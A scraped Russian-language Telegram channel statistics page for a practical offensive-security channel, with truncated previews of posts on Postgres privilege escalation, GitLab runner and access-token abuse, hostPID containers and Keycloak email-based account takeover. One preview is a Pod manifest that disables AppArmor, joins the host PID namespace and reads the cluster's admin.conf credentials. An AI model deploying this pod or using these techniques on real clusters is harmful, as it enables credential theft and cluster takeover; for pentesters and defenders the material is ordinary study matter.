Есть такая общеизвестная проблема когда делаешь non-root в k8s: контейнерам нужно биндить порты до 1024, что по умолчанию в Linux запрещено. Лично по-моему само по себе такое ограничение - архитектурная ошибка в Linux, которая привела к куче проблем и сложностей: сервису, например nginx, нужно стартовать от рута, забиндить порт, а потом дропнуть лишние привилегии. Что уже само по себе звучит не безопасно и разумеется приводило к множеству LPE. А профит с точки зрения ИБ крайне сомнительный. Може...
Нарыл
Канал о практической информационной безопасности. Автор - https://t.me/sorokinpf
Графики
📊 Средний охват постов
📉 ERR % по дням
📋 Публикации по дням
📎 Типы контента
Лучшие публикации
20 из 20Postgres Privilege Escalation Тут неожиданно выстрелила старая тема с повышение в Postgres, напомню о ней. В Postgres функция может быть определена с двумя типами исполнения SECURITY INVOKER (по умолчанию) и SECURITY DEFINER. Функции первого типа выполняются с правами текущего пользователя, вторые же выполняются с правами того, кто создал функцию. По сути аналог SUID бита. Также в Postgres есть конфигурация search_path, она определяет в каком порядке Postgres обходит имеющиеся схемы в поиске фун...
Gitlab раннеры "аутентифицируются" в gitlab с помощью специальных токенов. Токены хранятся в конфиге раннеров и по ним gitlab понимает какой именно раннер пришел за задачей. А теперь представим что этот токен каким-то образом утек. Что тогда может сделать атакующий? Очевидная идея - отправить gitlab токен и сказать что мы - это тот самый раннер. Ну и попытаться получить себе джобы, которые шедулятся gitlab'ом на оригинальный раннер, вместе со всеми переменными среды, артефактами, gitlab variable...
hostPID: true и --pid=host Два параметра, указанных выше приводят к запуску контейнеров в PID-неймспейсе хоста в kubernetes и docker соответственно. Запуск в PID-неймспейсе хоста позволяет получать доступ ко всем процессам хоста. Но вот какой доступ? Давайте разбираться. Во-первых, можно делать ps и посмотреть список процессов с параметрами командных строк. Во-вторых, можно обращаться к файловой системе /proc/PID/* других процессов. Тут неочевидный момент - при доступе к интересным файлам, напри...
По умолчанию в Keycloak пользователям по адресу http://keycloak/realms/<realm_name>/account доступен довольно аскетичный интерфейс личного кабинета (на скриншоте). В этом маленьком кабинете можно сменить себе в том числе email. И это - проблема безопасности! Если клиент OIDC/OAuth, подключенный к Keycloak, завязывает своих пользователей не на поле preferred_username из токена, а на email, то его можно обмануть. Ставим себе чужой email, перезаходим в клиента и получаем права другого пользователя....
Gitlab Access Tokens Gitlab позволяет создавать токены доступа для групп, проектов или персональные для пользователей. Если нам достался такой токен (например, нашли в репозитории), то встает вопрос - а что же именно с этим токеном можно делать? Для этого можно использовать запрос: curl --header "PRIVATE-TOKEN: token_here" https://gitlab.example.com/api/v4/personal_access_tokens/self В ответе будет имя токена, идентификатор пользователя, для которого этот токен выписан, а также scopes - права. В...
Запись моего выступления на PHDays: https://phdays.com/forum/broadcast/?talk=645&tag=offense Слайды прикладываю UPD: youtube - https://www.youtube.com/watch?v=YAV9mbnlUho
apiVersion: v1 kind: Pod metadata: name: pwn annotations: container.apparmor.security.beta.kubernetes.io/pwned: unconfined #disable apparmor spec: hostPID: true #root PID namespace containers: - name: pwn image: ubuntu command: [ "cat", "/proc/1/root/etc/kubernetes/admin.conf" ] securityContext: capabilities: add: - SYS_PTRACE # SYS_PTRACE to bypass ptrace access mode checks nodeSelector: # land on master node node-role.kubernetes.io/control-plane: '' tolerations: # tolerate control-plane node t...
Gitlab pre_build_script. Part 2 Так что же делать чтобы after_script не выполнялся после падения pre_build_script? Можно, например, дергать из скрипта гитлабовскую апишку и канцелить джобу. Но можно поступить проще, если разобраться как раннер запускает джобы внутри (все нижеперечисленное я изучал для k8s-раннера, полагаю что верно и для docker-раннеров тоже). Тут важны два факта. Первый - для запуска любых скриптов раннер сначала находит подходящий шелл с помощью файла скрипта detect_shell_scri...